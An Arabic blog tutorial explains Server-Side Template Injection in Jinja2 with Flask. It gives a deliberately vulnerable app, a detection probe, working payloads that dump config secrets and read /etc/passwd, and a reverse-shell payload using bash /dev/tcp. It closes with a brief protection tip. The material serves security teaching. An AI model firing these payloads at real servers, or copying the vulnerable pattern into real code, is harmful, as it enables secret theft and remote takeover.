شرح ثغرة Server-Side Template Injection) SSTI)

1337r00tمنذ 4 سنوات

* السلام عليكم ورحمة الله وبركاته *

------------------

الحمد لله على جميع نِعمه علينا ما علمنا منها وما لم نعلم حمداً والصلاة والسلام على نبينا محمد اشرف الخلق والمرسلين, اما بعد :-

--------------------

شرحت سابقا عن Client-Side Template Injection) CSTI) في هذه المقالة .

--------------------

# ماهو web template engine و Server-Side Template Injection) SSTI) :-

مع تطور البرمجيات اصبح حاليا كثير من اللغات البرمجية لديها web template engine مثلا PHP لديها Twig وبايثون لديها Jinja مثلا والكثير الكثير (FreeMarker, Velocity, Smarty,etc) لكن ليكن في حسبتنا يجب التفرقة بين framework و web template engine لأن كثير يعتقد ان web template engine هي اطار عمل لأن هذا الأطار العمل لديها web tamplates engines فيعتقد البعض هذا الشيء ! والweb template engine هي (لجعل عمل Front-end developer أسهل في تحسين الصفحة اللتي تظهر للمستخدم) لكن عندما يكون هناك مدخل غير آمن للمستخدم يستطيع منه تنفيذ Template Content هنا تحدث ثغرة SSTI .

--------------------

# أكتشاف ثغرة SSTI :-

سوف نتحدث عن Jinja لكن الفكرة تتطابق مع غيرها (ربما ;) ), وليكن في العلم تم أصدار اصلاحات على Sandbox الخاص بكلاس from_string في اصدارات 2.10 لكن لازالت معرض لهذا الخطر لان الأصلاحات على مدى معين والخطر باق من عدة جوانب مثلا Template Rendering في Flask, في حكايا الأكتشاف قصص فأكتشاف هذه الثغرات كبقيتها لكن هذا المخطط يسهل لك فهم كون هذه الثغرة مصابه او لا :-

ف مثلا لدينا هذا الكود :-

import jinja2,flask

app = flask.Flask(__name__)

vuln = jinja2.Environment()

@app.route("/null")
def null():
    name = flask.request.values.get('name') # ?name= GET HTTP Method parameter
    output = vuln.from_string('I Love ' + name + ':)').render()
    return output

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=1337)

هل هو مصاب ؟ نعم مصاب ف لو اردنا أكتشاف انه مصاب سوف نضع :-

http://localhost:1337/null/?name={{2*2}}

سوف تلاحظ انه سوف يرد ب :-

I Love 4

هنا نعرف ان ثغرة SSTI مصابه :)

----------------

# أستغلال ثغرة SSTI :-

أستغلال الثغرة لديه عدة أوجه في الضرر (Impact) ف مثلا شخص يريد معلومات حساسة مثل API_KEY قد يجدها في environment variables سوف يستخدم config :-

http://localhost:1337/null/?name={{config}}

  لكن ماذا لو فكر جعلها RCE او LFI مثلا هنا يعود الأمر إلى Sandbox version في هذه web template engine لكل Sandbox version تخطي ف مثلا اصدار 2.10 لو اردنا جعل ثغرة SSTI تصبح ثغرة LFI فالبيلود سوف يكون :-

http://localhost:1337/null/?name={{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}

لو أردنا جعلها RCE :-

http://localhost:1337/null/?name={{ config['RUNCMD']('bash -i >& /dev/tcp/0.0.0.0/1337 0>&1',shell=True) }}

--------------

# الحماية من حدوث ثغرة SSTI :-

لاتجعل المستخدم قادر على ارسال Template Content بأستخدام المدخلات الغير آمنه وأحرص دوما على التحديثات .

--------------

والسلام خير ختام

كلمات دليلية: ثغرة ssti
5
إعجاب
3155
مشاهدات
0
مشاركة
1
متابع

التعليقات (0)

لايوجد لديك حساب في عالم البرمجة؟

تحب تنضم لعالم البرمجة؟ وتنشئ عالمك الخاص، تنشر المقالات، الدورات، تشارك المبرمجين وتساعد الآخرين، اشترك الآن بخطوات يسيرة !